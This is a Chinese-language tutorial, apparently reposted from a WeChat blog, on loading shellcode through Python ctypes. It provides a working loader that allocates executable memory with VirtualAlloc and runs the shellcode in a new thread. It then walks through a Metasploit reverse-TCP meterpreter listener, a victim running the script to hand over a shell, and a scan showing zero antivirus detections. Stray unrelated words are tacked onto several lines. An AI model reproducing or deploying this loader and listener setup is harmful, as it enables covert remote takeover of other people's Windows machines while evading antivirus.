0x00:原理javascript
大部分腳本語言加載 shellcode 其實都是經過 c 的 ffi 去調用操做系統的api,其實並無太多的技巧在裏面,明白了原理,只須要查一下對應的腳本語言怎麼調用 c 便可.html
那麼咱們只須要明白 c 一般是怎麼加載 shellcode 的便可一通百通.java
那麼 c 是怎麼加載 shellcode 呢,咱們直接從彙編開始探究.python
shellcode 這個東西咱們明白是一串可執行的二進制(通常可執行文件的擁有可執行權限的section爲.text),那麼咱們先經過其餘的手段開闢一片擁有可讀可寫可執行權限的區域放入咱們的 shellcode,而後跳轉到 shellcode 首地址去執行就好了,彙編裏面改變eip(即當前指令的下一條即將運行指令的虛擬地址)的方法有很多,最簡單的就是直接 jmp 過去了.也就是寫成僞碼nginx
大概意思就是sql
lea eax, shellcode;jmp eax;
那麼咱們用 c 怎麼表示呢?shell
這裏也寫一段僞碼(由於本文的重點並非在於 c 代碼的編寫)windows
那麼按照剛纔的思路,先申請一塊可執行的內存,放入 shellcode 而後跳轉過去執行便可.api
// shellcodeunsigned char shellcode[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9" "\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08" "\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1" ...;// 定義一個函數類型typedef void (__stdcall *CODE) ();// 申請內存PVOID p = NULL; p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);// 把shellcode放入內存memcpy(p, shellcode, sizeof(shellcode));
CODE code =(CODE)p;
code();
並無寫出一個可用的 c 加載 shellcode,只是旨在點出一下流程,而後引出後面的 python 加載 shellcode,上面咱們先申請了一塊帶有可讀可寫可執行權限的內存,而後把 shellcode 放進去,而後咱們強轉爲一個函數類型指針,最後調用這個函數,達到了咱們的目的。ruby
0x01:Python實現
前面說過,大部分腳本語言加載 shellcode 都是調用的c的ffi,那麼咱們直接按照以前的思路來就好了.
import ctypes#(kali生成payload存放位置)shellcode = bytearray(shellcode)# 設置VirtualAlloc返回類型爲ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申請內存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))# 建立一個線程從shellcode防止位置首地址開始執行handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))# 等待上面建立的線程運行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
注意:其中的的每一個 c_uint64,這個類型在64位上是必要的,咱們須要手動指定 argtypes 和 restype,不然默認的是 32 位整型。
代碼裏面加了註釋,咱們能夠看到,基本思路也是同樣的,先分配一塊可讀可寫可執行代碼的內存,在代碼中使用的是
0x40(PAGE_EXECUTE_READWRITE)和 0x3000 ( 0x1000 | 0x2000)(MEM_COMMIT | MEM_RESERVE)
而後把 shellcode 塞進去,跳過去運行.
0x02:演示過程
1、MSF生成Payload
把生成的Payload放進上面的代碼中
例子
2、msf運行並開啓監聽
use exploit/multi/handlerset payload windows/x64/meterpreter_reverse_tcpset LHOST 192.168.1.13set LPORT 666exploit
3、受害者運行腳本
獲取到shell
4、在線查殺
https://r.virscan.org/language/zh-cn/report/5f75df969a7250364579f48d6d56ebcd
結果(0/49)
文章分析原理來自做者:Akkuman
https://www.cnblogs.com/Akkuman/p/11851057.html
本文分享自微信公衆號 - 洛米惟熊(luomiweixiong)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。